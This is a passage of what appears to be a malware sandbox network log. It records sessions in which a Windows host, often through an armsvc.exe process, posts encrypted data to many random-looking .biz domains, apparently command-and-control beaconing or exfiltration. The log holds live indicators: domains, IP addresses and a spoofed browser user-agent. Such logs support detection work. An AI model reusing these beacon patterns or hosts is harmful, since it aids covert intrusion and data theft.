Oct 31, 2024 16:03:58.610181093 CET	784	OUT	Data Raw: d6 09 14 f8 72 07 eb 47 04 03 00 00 b3 ce 16 26 c6 39 8b 0e 1c fb 1f e7 19 b5 4a f0 8f e7 42 88 86 1a b4 ce 0b 80 63 a3 e4 0e d6 e7 97 3f c9 56 bb e7 b5 06 6b a3 06 96 10 3c fa d1 5f ee 6d ba 53 2d 30 bb 54 ce 72 67 a6 fa 66 30 bd 39 e8 6f 57 bf Data Ascii: rG&9JBc?Vk<_mS-0Trgf09oW4Q$JPdy~HylX:<ovzM&o7v9\>hc1b<y*e8uqo6m6A2Y]dJ@\hK{pY2zY!8d
Oct 31, 2024 16:03:59.443603039 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:03:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=f18a263d94db2b77eacd924848678dde\|173.254.250.77\|1730387039\|1730387039\|0\|1\|0; path=/; domain=.pywolwnvd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.22	49184	82.112.184.197	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:03:59.247339964 CET	355	OUT	POST /qucjadqwup HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vjaxhpbji.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:03:59.247374058 CET	850	OUT	Data Raw: 59 40 79 f4 3f 99 84 cb 46 03 00 00 62 f8 08 bc 41 fd 6d b9 e3 45 0e 69 a1 a7 21 9b 7c 4a c8 1a 98 a0 8c 29 d2 5c fe e1 ad be 66 5b 24 e4 b6 c6 5e c6 c1 b4 1f 5d 9f 3b bf 8e 65 16 bd 63 ff e8 e8 ad 2e 89 cc 2d 80 f3 33 d6 1e 58 87 b4 ec 3c f5 78 Data Ascii: Y@y?FbAmEi!\|J)\f[$^];ec.-3X<xRwj?d<`S.$S1\|EwTIxFXa$EfB#cNo$k}'}S\eX0DM"%m{6-`') W$$Eq\|fu2UD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.22	49185	18.141.10.107	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:03:59.479077101 CET	353	OUT	POST /mdjjnwlgna HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ssbzmoy.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:03:59.479093075 CET	784	OUT	Data Raw: f9 c8 b2 a0 c2 ca dd d0 04 03 00 00 5c dc 29 cb f1 f1 e5 b5 74 22 75 b9 d2 ce a4 eb b0 d9 c2 a9 7d 15 4e 63 24 fb ea e2 85 80 3f 9e 64 1f 60 6d 1b a3 69 21 e2 8b 92 ec dc d9 fd aa 11 3f 9d 3a 44 f0 fc be 3f 01 cf fc 75 2e 23 35 04 cb ce 3f db 52 Data Ascii: \)t"u}Nc$?d`mi!?:D?u.#5?R<p@\1?Z?>+gw7Z"=rqemVeC'/uqRa"L/Q-mvRDW_Qy@LPRIi2i7>\FY4!/)&Rkh1
Oct 31, 2024 16:04:00.908545017 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=d2e824f6141cc499947038c61a022e73\|173.254.250.77\|1730387040\|1730387040\|0\|1\|0; path=/; domain=.ssbzmoy.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.22	49186	54.244.188.177	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:01.026783943 CET	357	OUT	POST /yrykgmfjtkgvqgst HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: cvgrf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:04:01.026809931 CET	784	OUT	Data Raw: af 18 c3 7c d3 38 fd 40 04 03 00 00 92 cf 8c 53 e1 7e d5 4c 5c fc 67 19 1a 76 21 ac 33 61 d1 2f e4 d0 98 b2 05 ce 97 ae 18 3f 4b 31 bf 76 0a c4 e8 1f de 56 c6 70 03 7c 09 a1 f6 7c e2 3b fc 49 70 60 08 51 2a 7b 7f e4 f1 9d 9b 51 1a b8 11 ff ab 4b Data Ascii: \|8@S~L\gv!3a/?K1vVp\|\|;Ip`Q{QK _w48 B61_Z]C)gEHtx?84u=HPVf5C03Jq<F@R6txo4Cx>Hrcwh^
Oct 31, 2024 16:04:01.864520073 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=5d84e9e7225b4c4e9b65d05f2640ce21\|173.254.250.77\|1730387041\|1730387041\|0\|1\|0; path=/; domain=.cvgrf.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.22	49187	44.221.84.105	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:01.982822895 CET	349	OUT	POST /cktgq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: npukfztj.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:04:01.982855082 CET	784	OUT	Data Raw: 04 85 e1 e5 84 d4 ca ed 04 03 00 00 8c 9a 8f a9 b4 4d 66 34 76 35 68 3a a1 a3 95 15 c7 64 07 1c 2f 5b b7 87 b8 0b 2d 73 16 8c db ba 87 ea 4d d8 cd 4b 5a 4e b7 1b 81 79 2b d2 76 8f 42 6b 30 5e f6 bf 90 37 13 58 6e 32 39 2f 94 07 d4 b3 54 75 ff f6 Data Ascii: Mf4v5h:d/[-sMKZNy+vBk0^7Xn29/Tuxs?.t^Q[~GrXWApOQ[P5$==Z8"p[F`MdWIj0c-3-JTC8 Y~[Rf:#7vV2xQ\|XAv_}7
Oct 31, 2024 16:04:02.678267002 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=cf1cc06f2051d682bee08e25cd43b2ab\|173.254.250.77\|1730387042\|1730387042\|0\|1\|0; path=/; domain=.npukfztj.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.22	49188	172.234.222.138	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:02.694509029 CET	353	OUT	POST /souksyjpdy HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: przvgke.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:04:02.694535017 CET	784	OUT	Data Raw: f9 aa c9 03 04 a8 b6 cb 04 03 00 00 a9 65 5d ed 4b e5 da 92 6c 6c 0b 62 e6 7a d7 9c 2a 25 97 51 26 ad 19 04 83 a2 9b cd 76 0b 8e a6 18 26 6d 9e 25 86 90 43 fd cb 4b 1e 28 cc 82 bc 7a 58 f8 d9 46 b8 f0 67 14 c2 c3 96 88 15 2d c4 89 2e 88 1f d1 77 Data Ascii: e]Kllbz*%Q&v&m%CK(zXFg-.wIw@&tQ5Ql!: ,qcfRE:G],/X%?rm}DHtU-ACTX@+&kd=<px-Mk7/ A(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.22	49189	172.234.222.138	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:04.109133959 CET	359	OUT	POST /wjgduojsimdrmvmh HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: przvgke.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:04:04.109155893 CET	784	OUT	Data Raw: 7f 95 62 c0 89 f6 03 cd 04 03 00 00 13 17 9a 63 36 b3 28 a5 35 4e a6 ea de 4f bc 96 fa 4a fb ce d5 66 07 f1 51 05 62 ad a7 1f dc 84 3f 98 35 c9 f0 5c a1 05 a7 6e 68 22 73 49 0e f0 37 cb af c5 02 f4 a6 23 7a 3f ea ef ed c6 0d 86 9d 44 39 94 81 5a Data Ascii: bc6(5NOJfQb?5\nh"sI7#z?D9Z%u$Tz6@ilR./$y=9v`r-dAd]$yf."l'Xr.XW 2K'" Pri:[98V"IH*`?%#_xD=q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.22	49190	18.141.10.107	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:05.498003006 CET	356	OUT	POST /paoxjgvpouus HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: knjghuig.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:04:05.498038054 CET	784	OUT	Data Raw: cb 3f 6b 7c 01 f9 69 3f 04 03 00 00 43 81 9b d9 43 d6 2c 26 08 e7 2a db 34 fb fd 1e 53 9a dd 7d e8 86 c4 fa a8 8f 5a 63 9a a6 78 47 1c 78 e6 c7 3b d1 13 ce be 98 31 07 7c 16 3d 18 8e 24 45 8f 08 b3 7a a3 16 db ba 58 ff 7a f6 4c 8b a6 d3 16 40 c9 Data Ascii: ?k\|i?CC,&*4S}ZcxGx;1\|=$EzXzL@G)qrnR[(/Je%p.7^}v'wys/Lp $<T3[YAe;Pnq2/f?Fs\|nxkXiq$;uEx+mlRs/[0'>vV]
Oct 31, 2024 16:04:06.960453033 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=88359a99746cea93da9c886aa00723f0\|173.254.250.77\|1730387046\|1730387046\|0\|1\|0; path=/; domain=.knjghuig.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.22	49191	82.112.184.197	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:07.052872896 CET	356	OUT	POST /wyidajrhadrsam HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lpuegx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:04:07.052901983 CET	784	OUT	Data Raw: 7d 93 b3 58 c8 10 61 1e 04 03 00 00 6f bc 3c a8 72 cc a8 c2 a6 eb 4b 56 2f c6 4b 70 04 fb 1f 5b 2d fc d6 40 80 de cd 89 d3 7e 2d 0e 9e f1 81 36 6a dd 43 ec a5 2a 86 0e 8f ec 96 66 95 e0 29 ae 3a 92 fb 1e c8 98 d5 1b b6 03 06 8c 65 53 1a 3a 26 b6 Data Ascii: }Xao<rKV/Kp[-@~-6jC*f):eS:&G}bt9?bZD8vtKqy0[tG>KiRm9~QR)2Pea(o=v:2>XFcYt0x5mz$"%V4Jvz884V3{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.22	49192	47.129.31.212	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:09.535490036 CET	350	OUT	POST /relpigo HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: xlfhhhm.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:09.535516024 CET	850	OUT	Data Raw: 16 61 5e 7a d9 d8 fa e3 46 03 00 00 4f 32 71 e5 4e 4d e4 47 35 4b 49 50 64 b8 27 aa 03 7a ef b0 dd a2 08 b9 9b e1 79 70 9d f3 ae e6 03 51 89 9b 42 35 1b 93 ee 85 ab 8a ec af e6 4d d9 e2 d1 d1 f9 15 56 3f 33 8b b9 97 83 b9 98 2a 27 8e ad 2b 2e 6e Data Ascii: a^zFO2qNMG5KIPd'zypQB5MV?3'+.nZ\j3mU%[5q!)8c^2QQAJD0+aUPk!L;}!~b\|#&q$+&FJoB)oB -VJbt!UR9v,o+y9m:MW}
Oct 31, 2024 16:04:10.907634974 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=5c948a74b19df371207a3766ff177247\|173.254.250.77\|1730387050\|1730387050\|0\|1\|0; path=/; domain=.xlfhhhm.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.22	49193	13.251.16.150	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:10.982036114 CET	356	OUT	POST /hniilvtpfhrduk HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ifsaia.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:10.982085943 CET	850	OUT	Data Raw: fd 93 2d 81 90 ee 27 b6 46 03 00 00 5b dc 53 40 e5 df 76 9d 83 d3 9a 3c 79 6a b7 5f 09 9b 6b 17 ef 10 70 78 9a 81 04 af 4a 44 1b 75 20 c0 3d de 09 a3 de 04 70 27 71 2e 48 e6 6c 82 d4 88 eb 6c f8 26 5f 12 ff 1f 1e c2 95 5d 3b 39 24 8a 1b cb 0e b6 Data Ascii: -'F[S@v<yj_kpxJDu =p'q.Hll&_];9$\F0`w*! M3X'rrz5=H}o5yPhI (@K.'I<k0Thz5j`24dz/T_W:3jA_35Y>3^55V
Oct 31, 2024 16:04:12.421806097 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:12 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=550ea821afa0bac2712fa505a70b1e1b\|173.254.250.77\|1730387052\|1730387052\|0\|1\|0; path=/; domain=.ifsaia.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.22	49194	44.221.84.105	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:13.445413113 CET	361	OUT	POST /rveqwavecqnlexod HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: saytjshyf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:13.445446014 CET	850	OUT	Data Raw: a3 bf 1e db 4b 76 2d 4d 46 03 00 00 e2 84 c1 12 f2 7f 55 65 18 48 eb 7a 1c 34 71 0c f9 99 3f 67 29 bc 29 25 5e f1 40 10 6e 75 ae 43 d0 1a d6 37 dd b0 09 96 b9 ac d4 55 22 02 20 ac 75 86 69 e3 d6 9b 3c b5 b6 34 a4 51 92 b7 50 88 17 6a 03 68 2d bc Data Ascii: Kv-MFUeHz4q?g))%^@nuC7U" ui<4QPjh-_vD)d[REnHf5'hTE@~56iwLSm<l:bAs%9*@WkTkN~8DM%Rqb\|Rh
Oct 31, 2024 16:04:14.108469963 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=a573fc1a4c58d6a5dbcfe57212dc5f1c\|173.254.250.77\|1730387054\|1730387054\|0\|1\|0; path=/; domain=.saytjshyf.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.22	49195	82.112.184.197	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:16.260833979 CET	352	OUT	POST /dwqdriwmbx HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lpuegx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:04:16.260833979 CET	784	OUT	Data Raw: e9 a8 85 4c cc ff be 26 04 03 00 00 76 4f 37 ae 59 9e 43 7e cb ff b6 ec 5e d3 56 e2 4c 63 8e 36 7c 72 28 dc b3 c1 e8 d2 3d d1 75 4c e9 78 7f 56 57 bd f8 4f 29 bf 57 83 62 ed 0f 09 60 c5 10 e2 0f b2 9e 86 94 80 f7 a1 83 43 70 f2 1d 96 7b fe 7a 57 Data Ascii: L&vO7YC~^VLc6\|r(=uLxVWO)Wb`Cp{zW$}F*}kbk+-p"-`%=F#+~'\oJqjM:we/w\(fp6y.xuBfcys#%JPbb#T(V+n)d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.22	49196	18.141.10.107	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:17.267267942 CET	350	OUT	POST /jpotnhk HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vcddkls.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:17.267318964 CET	850	OUT	Data Raw: a6 1e 7a 49 a7 dd 3f 3c 46 03 00 00 c4 92 c9 09 5f b3 5c b6 d5 71 64 d0 71 b2 df 0e d7 85 b1 76 60 96 ce 94 60 49 96 5a b3 aa 0c 9d 38 50 ac a6 55 ed 70 f5 5d 2c 62 ab f4 38 b5 03 01 a1 57 e3 fd 17 ea 80 88 7b c5 7b 99 97 ea 0c 24 4a c7 92 7e a8 Data Ascii: zI?<F_\qdqv``IZ8PUp],b8W{{$J~lQm^ *Yl0tIUViP"4]v<Y8+/a?d55#_r$l!D#pNO@YmC>{<5b@p
Oct 31, 2024 16:04:18.717717886 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=e1543824d3da07bdacefa2dde320a2cd\|173.254.250.77\|1730387058\|1730387058\|0\|1\|0; path=/; domain=.vcddkls.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.22	49197	172.234.222.143	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:19.554855108 CET	346	OUT	POST /xhtaq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: fwiwk.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:19.554883957 CET	850	OUT	Data Raw: a4 e8 8e 76 a2 28 6b 4f 46 03 00 00 45 67 a0 86 15 3f 53 69 8e 55 9a f3 50 0c 6e ae 3b da 88 48 d1 44 04 ec bd 03 e6 88 28 f2 e2 82 7d 69 d0 22 c8 31 87 30 02 a1 a3 b9 54 2e e8 26 f2 31 84 64 93 0e 0d 74 4d 9f 69 58 06 cf eb 15 b9 25 2a 8e c9 d5 Data Ascii: v(kOFEg?SiUPn;HD(}i"10T.&1dtMiX%}OZqp,:JZw$E/A_!2xCKY"'+a4>FxZiN\-(dk/a#91w\5gl/FnZwIuVvN`n4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.22	49198	172.234.222.143	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:20.346333981 CET	354	OUT	POST /hbfipefumdnnq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: fwiwk.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:20.346374035 CET	850	OUT	Data Raw: cc bc f7 54 83 d5 32 50 46 03 00 00 57 3c e9 46 56 5a b7 e0 8a ca c8 19 4a 55 2f 4e a7 75 0c f7 ea de a4 e8 ed 37 64 5c 78 53 23 bd 7c e4 f3 67 8e 0a b6 57 f7 2e b2 65 a8 26 30 ea 31 35 0c c6 9d db 88 6d 8d 14 8c 1b 4f ac 39 fe 48 ce 4f 7d 8a 6e Data Ascii: T2PFW<FVZJU/Nu7d\xS#\|gW.e&015mO9HO}nPW`OJL@e;cdV{){J98<_[nUsEbs6VZ2wHNd:EH.s*Fk=WD+5b>}J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.22	49199	34.246.200.160	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:21.529436111 CET	351	OUT	POST /xwcltyikp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: tbjrpv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:21.529476881 CET	850	OUT	Data Raw: b8 4f cf 31 57 37 12 c0 46 03 00 00 19 20 9b fb 0f de ab 13 62 87 f3 d2 83 66 4c 84 3a 5b 98 bb 1c 29 36 40 60 4c 61 0c 47 a4 d7 05 4a 57 e2 4e 9b 9b 56 79 70 a3 86 fc 9d 0e 06 76 d8 61 1c 59 2c 86 7b 9c 10 0a c7 2b 8c 7d 48 0b 74 bb eb 07 86 ff Data Ascii: O1W7F bfL:[)6@`LaGJWNVypvaY,{+}Ht\|r@P.K^AiioSU/R'&mA"_:s\|QCp(h}:f^4Rwo15[X'qvKTT 1_-jhaf
Oct 31, 2024 16:04:22.520633936 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=19e41a881c42a06f60ed529dbce4eb65\|173.254.250.77\|1730387062\|1730387062\|0\|1\|0; path=/; domain=.tbjrpv.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.22	49200	18.208.156.248	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:22.972328901 CET	350	OUT	POST /ibqcaxybc HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: deoci.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:22.972328901 CET	850	OUT	Data Raw: 08 43 e0 8e a4 f3 7e e8 46 03 00 00 76 ea 1e 6e e3 15 91 e3 15 2a 6a 5b 5f 5b 15 2a 9d c8 4e 9d 1f 41 d0 8e 97 15 4a d2 5a 88 c2 9d a7 9e 9f fd cb 04 51 fc 7b 00 07 fe dc 0a b7 7e 15 3b fa f6 9a cc 93 0d 78 78 8e 7e 3c d6 17 ca 44 2e 72 10 db 2a Data Ascii: C~Fvnj[_[NAJZQ{~;xx~<D.r*'S\|(1Ty0/wYI;@`8^4b#tc^{?Ypa\K'#ot%k~vWl\|6O_sfizuBp
